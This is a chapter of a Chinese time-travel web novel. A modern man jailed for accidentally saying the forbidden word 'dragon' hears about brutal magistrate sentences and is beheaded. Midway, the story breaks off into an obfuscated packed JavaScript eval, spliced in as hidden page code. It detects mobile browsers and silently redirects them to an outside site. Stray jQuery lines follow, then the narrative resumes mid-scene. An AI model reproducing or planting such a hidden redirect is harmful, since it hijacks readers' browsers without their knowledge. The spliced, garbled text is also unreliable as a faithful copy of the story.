林越靠在冰冷的石墙上，感受着熟悉的霉味和尿骚味。这已经是他第三次进监狱了，每次的氛围都如出一辙——压抑、绝望。石墙粗糙，湿漉漉的，透着一股寒意。墙角的老鼠吱吱叫着，像是在嘲笑他这个“老油条”。
第三次了。第一次在黄壤屯，因为语言问题被当成奸细；第二次在清水镇，因为沉默被当成不敬；这次是因为偷包子和说错字。
这牢房，比前两次的还差。空间小，转个身都难；光线暗，只有一个小窗透进一点点光；通风差，空气不流通，霉味重；老鼠多，而且不怕人。综合评分……负十分。他想起现代那些酒店评分网站，如果牢房也能评分，这间绝对是最低分，一星都嫌多，评论区肯定都是“差评，不推荐入住”。
“三进宫啊……”他低声自语，声音在空荡的牢房里回荡，“第一次是误会被抓，第二次是冤枉入狱，这次是自找的。”语气里带着自嘲，像是在总结自己的失败经历。
他想起第一次进牢的情景。那时他刚穿越不久，语言不通，礼仪不懂，像个傻子。因为一个发音错误被当成北狄奸细，在牢里被严刑拷打，被鞭子抽，最后被扔到乱葬岗，喂了乌鸦。那种痛苦，那种绝望，他至今记忆犹新。
第二次进牢，是因为不说话。他以为装哑巴能保命，结果沉默被当成不敬，又被判了死刑。那次是被杖毙的，一杖一杖地打，骨头都打断了，内脏都震伤了。那种疼痛，比第一次更甚。
“三进宫？”隔壁传来一个沙哑的声音，像是砂纸磨过木头，“尔这后生，看着年纪轻轻，倒是个惯犯？”语气里带着好奇，没有恶意。
林越转过头，透过木栅栏的缝隙，看见隔壁牢房里坐着一个中年汉子。那人衣衫褴褛，粗布衣破了好几个洞，头发蓬乱，但眼神还算清明，正饶有兴致地打量着他。
“算不上惯犯。”林越自嘲地摇摇头，“第一次是误会，第二次是冤枉，这次是倒霉到极点的那种。”
“误会？冤枉？”中年汉子嗤笑一声，“进了这大牢的，哪个不说自己是冤枉的？说说看，尔犯了什么事？偷鸡摸狗？还是拦路抢劫？”
林越沉默了片刻。他知道，在这个世界，偷窃虽然可耻，但至少比“亵渎皇权”的罪名轻得多。他深吸一口气：“偷了个包子。”
“包子？”中年汉子愣了一下，像是没听清。随即哈哈大笑起来，笑声在空荡的牢房里回荡，“偷包子？就为了个包子，被关进大牢？尔当我是三岁小儿？”他笑得上气不接下气。
“是真的。”林越认真地说，“我太饿了，一天没吃饭，实在受不了……”
“那也不至于进大牢。”中年汉子打断他，笑声停了，“清水镇的张老板，就是包子铺那个，我知道他。那是个善人，经常施舍穷人。尔偷他的包子，他顶多让尔干几天活抵债，怎会送官？”他顿了顿，“除非尔还干了别的事。”
林越低下头，看着自己脏兮兮的手。手指上有碳灰，有泥土，指甲缝里塞满了伪装时留下的痕迹。他想起包子铺老板那张和善的脸，圆圆的，总是带着笑；想起老板说“在我这儿干三天活，抵这个包子的钱”时的温和语气。老板确实是个好人，给了他机会。
如果当时没有说错字……林越想着，思绪飘回那个瞬间。如果当时冷静一点，发音准一点，别那么紧张，别那么饿……现在应该正在包子铺干活吧？搬面粉，揉面团，蒸包子。虽然累，但至少能吃饱，能活下去，不用在这牢房里等死。
“你说得对。”林越的声音很轻，“老板确实想让我干活抵债。他给了我机会。”他抬起头，“但我搞砸了。”
“那尔怎么还在这儿？”中年汉子追问，“张老板那么好说话的人，怎么会把尔送官？除非尔做了什么更过分的事？”
林越顿了顿，喉咙有些发干。“因为……”他闭上眼睛，仿佛又回到了那个瞬间，“我在辩解的时候，太紧张，太饿了……我想说‘饿’，但说成了……说成了‘龙’。”
牢房里突然安静下来。连墙角的老鼠都停止了啃咬。
中年汉子脸上的表情凝固了。他盯着林越，过了好一会儿，才缓缓开口，声音压得很低：“尔……尔说了那个字？”
林越点点头。他知道，在这个世界，“龙”字意味着什么——皇权的象征，庶民的禁忌，说错就是死罪。
“尔知道那是什么罪吗？”中年汉子的声音更低了，“亵渎皇权……斩立决……尔怎么敢……”他往后缩了缩。
“我不是故意的。”林越抬起头，眼神里满是无奈和绝望，“我只是太紧张了，发音错了。我想解释，但没人听。他们都说我亵渎皇权，要杀头……”
中年汉子沉默了。他靠在墙上，仰头看着牢房顶部的蜘蛛网，长长地叹了口气。
“我在这牢里待了三个月了。”中年汉子突然开口，声音平静了许多，“我见过很多人，犯过很多罪。有偷窃的，有抢劫的，有杀人的……但说那个字的，尔是第一个。”他顿了顿，“也是最后一个，因为说那个字的，都活不了。”
林越抬起头，想从他脸上找到一丝希望，但只看到麻木。
“三个月前，我也是因为一个字进来的。”中年汉子继续说，“不过不是那个字，是‘炎’字。我在酒馆喝酒，喝多了，说了句‘大炎王朝也不过如此’。被人听见，举报了，就进来了。”他苦笑，“就为了一句话，一句醉话。”
“炎”字也不行？林越心里一惊。这禁忌也太多了吧？“龙”不行，“炎”不行，还有多少字不行？这敏感词列表比XX的屏蔽词库还长，至少XX的只是屏蔽，这里是要命。
“判了三年。”中年汉子苦笑，皱纹挤在一起，“三年啊……就为了一句话，一句醉话。不过比起尔，我算是幸运的了。至少还能活着出去，虽然不知道出去后还能不能找到活干，还能不能活下去。”他摇摇头，“这世道，活着不容易。”
中年汉子沉默了一会儿，似乎在回忆什么，然后缓缓开口：“说起县官大人判的案子……前几日还有两桩，都挺有意思的，我也是听狱卒闲聊知道的。”他看向林越，像是在征求同意。
林越抬起头，虽然知道自己命不久矣，明天就要被砍头，但听到这些事，还是忍不住好奇。他点点头，示意继续。
“第一桩，是个小伙子。”中年汉子说，声音平缓，“年纪跟尔差不多，二十出头，血气方刚。他在街上跟县官大人的轿子撞上了——也不是故意的，就是人多，挤来挤去，不小心撞到了轿子，轿子晃了一下。”
“就这？”林越问，有点不敢相信，“撞到轿子就要判刑？这路是官家的，不是县官一个人的。”
“撞到轿子不算什么。”中年汉子摇摇头，“关键是，轿子被撞得晃了一下，县官大人从轿子里摔了出来，帽子都掉了，滚在地上。那小伙子吓坏了，赶紧去扶，结果手忙脚乱，扶人的时候，手碰到了县官大人的脸。”他顿了顿，强调，“碰到了脸。”
林越心里一沉：“碰到了脸？”他知道这意味着什么，在这个等级森严的社会，触碰官员的脸是极大的不敬。
“嗯。”中年汉子叹了口气，“碰到了脸。县官大人当场就怒了，脸都气红了，说这是‘不敬之罪’，是‘亵渎官威’。当场就让人把那小伙子抓了起来，直接判了死刑。”他摇摇头，“就为了一碰。”
“死刑？”林越难以置信，“就因为碰到了脸？这算什么罪？又不是故意的！”
“就因为碰到了脸。”中年汉子肯定地说，“县官大人说，官威如天，不可侵犯。庶民触碰官员的脸，就是触碰天威，是大不敬。按律当斩。”
林越不知道该说什么。在这个世界，官员的脸比人命还重要，碰一下就要死。这让他想起现代那些“领导碰不得”的潜规则，但至少现代不会因为碰了领导的脸就被杀头，最多被穿小鞋。这里直接要命，效率真高。
“第二桩呢？”林越问。
“第二桩更荒唐。”中年汉子苦笑，“是个小姑娘，十四五岁的样子，瘦瘦小小的，看着就可怜。她说自己是‘龙语（两字连读的一个音：leu）者’的后裔，能解决镇外那条干涸的河床问题，让河水重新流淌。”
林越心里一动：“龙语者？”他想起之前听到的传闻，关于龙语者的传说，关于那条干涸的河。
“对，龙语者。”中年汉子压低声音，“她说她祖上是侍奉龙神的，懂得龙语，能跟龙神沟通。她说那条河床干涸是因为龙神生气了，只要她念一段龙语咒文，就能让龙神息怒，河水就会重新流淌。”他顿了顿，“她说得很认真，眼睛里有光，像是真的相信。”
“然后呢？”林越追问。
“然后？”中年汉子摇摇头，像是惋惜，“然后就被抓了。县官大人说她是‘装神弄鬼’，是‘妖言惑众’。说她自称龙语者后裔，就是亵渎皇权——因为只有皇族才有资格侍奉龙神，庶民自称龙语者，就是僭越，是大罪。”他叹了口气，“小姑娘不懂这些，她只是想帮忙，想让河水回来，让镇子不再干旱。”
“判了什么？”林越问。
“本来也要判死刑的。”中年汉子说，“但县官大人看她年纪小，又是女孩，就‘法外开恩’，改判了‘晒刑’——绑在镇口的木桩上，暴晒五天。如果五天不死，就放了她。”他苦笑，“这算什么恩？比死刑还残忍。”
“暴晒五天？”林越倒吸一口凉气，“这比死刑还残忍吧？五天，不吃不喝，在太阳底下暴晒……”
“谁说不是呢。”中年汉子叹气，“第一天就晒晕了三次，嘴唇都裂开了；第二天开始说胡话；第三天就是今天，就是刚刚我听狱卒说已经没动静了；也不知道能不能撑得过明天。”他顿了顿，“才十五岁啊。”
牢房里再次陷入沉默。
林越想象着那个画面：一个十四五岁的小姑娘，被绑在木桩上，在烈日下暴晒五天，变成一具干尸。就因为自称龙语者后裔，就因为想解决河床干涸的问题。这世界，太残酷了。
“那河床呢？”林越突然问，“河床的问题解决了吗？河水回来了吗？”
“解决？”中年汉子嗤笑，“怎么可能解决。县官大人说了，河床干涸是天意，是龙神的安排，凡人不可干预。谁敢干预，就是违逆天意，就是死罪。”他顿了顿，“所以河水还是干的，镇子还是缺水。”
天意……林越心里冷笑。在这个世界，一切都是天意，一切都是龙神的安排。官员的脸碰不得，龙字说不得，河床干涸是天意，庶民只能认命。
“所以啊，”中年汉子总结道，“尔这次，肯定逃不掉了。县官大人最恨的就是亵渎皇权等不敬礼法的人，尤其是说那个字的。那个小姑娘只是自称龙语者后裔，就被晒死了。尔直接说了‘龙’字，还能活？”他摇摇头，“不可能。”
林越不再说话，他知道中年汉子说的是对的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119393|195946||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“午时三刻？”他问，声音有些发颤。
“午时三刻。”中年汉子肯定地说，“菜市口，斩首示众。我在这三个月，见过三次斩首。都是午时三刻，都是菜市口，都是斩首示众。”他顿了顿，“有个跟尔一样，说错了字——说了‘皇’字。在街上跟人吵架，骂了句‘皇天在上’，被人听见了。判了斩立决，第二天就执行了。”
“谢谢。”林越低声说，“谢谢尔告诉我这些。”
“不用谢。”中年汉子摆摆手，“反正尔也活不了多久了，知道这些也没用。就当是死前有人陪尔说说话吧。”
林越不再说话。他蜷缩在角落里，把脸埋在膝盖间。手腕上的红痕在昏暗的光线下，像一道血色的诅咒。
隔壁的中年汉子也不再说话。牢房里只剩下老鼠窸窸窣窣的声音。
第二天，午时三刻。
林越被押到了刑场。刑场设在城南菜市口，挤满了看热闹的百姓，像是过节一样。
这么多人……林越心里苦笑。比公司年会还热闹，至少年会还有抽奖，这里只有砍头。他看见人们伸长脖子，眼睛里闪着好奇又残忍的光，像是在看什么精彩的表演。
刑场中央是一个木制的平台，平台上放着一个斩首台。木墩已经被血染成了暗红色，靠近了能闻到一股浓重的血腥味。
林越被押上平台，按在斩首台上，脖子被固定在木墩的凹槽里。他抬起头，看着天空。天空很蓝，阳光很刺眼。今天是难得的好天气，适合杀人。
如果死了……能回到现代吗？他想起现代的生活，虽然辛苦，996，KPI，但至少安全，至少自由，至少不会因为说错一个字就被杀头。他想起父母，想起朋友，想起那个还没写完的项目……
对不起……他在心里默默道歉。
刽子手走上了平台。那是个高大的汉子，光着膀子，脸上没有任何表情。他手里拿着一把大刀，刀刃闪着寒光。
这刀……林越眯起眼睛，努力想。好像在哪里见过……想不起来了，也没时间想了。
刽子手举起了刀。动作很稳，很有力。刀身在阳光下闪着寒光。林越能看见刀身上的倒影——自己的脸，苍白，没有血色。
要死了……他闭上眼睛，等待死亡的降临。
但刀没有落下来。
他睁开眼睛，看见刽子手放下了刀，走到一边，和监斩官说了些什么。
没想到死前还会有“十秒缓刑”……林越心里苦笑。这算什么？行刑前的仪式感？
这短暂的停顿，让他的思绪飘回了原来的世界。他想起了自己那三支股票——新能源、医药、科技股。上周刚加仓，想着等这波行情起来，就能凑够提前还贷的钱了。
都打了水漂了……他感到一阵心痛，不是为即将到来的死亡，而是为那些辛苦攒下的钱。每个月的工资，他都要精打细算，眼看着就要够还清房贷了，就差那么一点点。
他想起自己那个小小的公寓，四十平米，一室一厅。首付是父母帮忙凑的，剩下的贷款他计划五年内还清。每次加班到深夜，回到那个小窝，他都会告诉自己：再坚持一下，等还完贷款，这就是完全属于自己的家了。
差一点点……就差那么一点点……
没想到还是要死了。在这个莫名其妙的世界，因为一个莫名其妙的字，就要被斩首示众。这经历，要是能写成小说，肯定没人信。
刽子手走回斩首台前，重新举起了刀。这一次，他的动作更慢，更稳。
要来了……他深吸一口气。这次真的要来了……
刀落了下来。
林越感觉脖子一凉，然后是一阵剧痛，很短暂。他看见自己的血喷了出来，在阳光下闪着诡异的光。
原来斩首是这种感觉……不疼……就是有点凉。然后就是黑暗。
在意识即将消散的瞬间，林越的视线模糊了。刑场上密密麻麻的人群，他们的影子在午后的阳光下被拉得很长，扭曲变形。就在这些扭曲变形的影子中，林越仿佛看到了什么——
一个巨大的、扭曲的“龙”字。
那字迹和他之前在石板血痕上看到的一模一样，歪歪扭扭，笔画复杂。它由无数人的影子交织而成，在刑场的地面上蜿蜒盘旋，像一条活过来的龙。
又是这个字……林越的意识在迅速消散。为什么到处都是这个字……在令牌上，在血痕里，在影子里……这个字到底意味着什么？
那影子组成的“龙”字似乎在呼吸，在蠕动。它从一个人的影子延伸到另一个人的影子，最后甚至延伸到了林越自己的血泊中。血和影子混合在一起，形成一种诡异的图案。
难道……这个世界的秘密……和“龙”有关？
这个念头在脑海中一闪而过。但林越已经没有时间去思考了。黑暗如同潮水般涌来，吞噬了一切。他看见天空在旋转，看见人群在晃动，看见那个影子组成的“龙”字在血泊中慢慢消散。
要死了……他想，这是最后一个念头。这次……真的死了……
他想起手腕上的红痕。最后一道红痕，现在应该已经消失了吧？
他不知道。
也没机会知道了。
黑暗越来越浓。意识越来越模糊。最后，他听见一个声音，很遥远，很模糊：
“午时三刻已到，行刑完毕——”
然后，一切归于黑暗。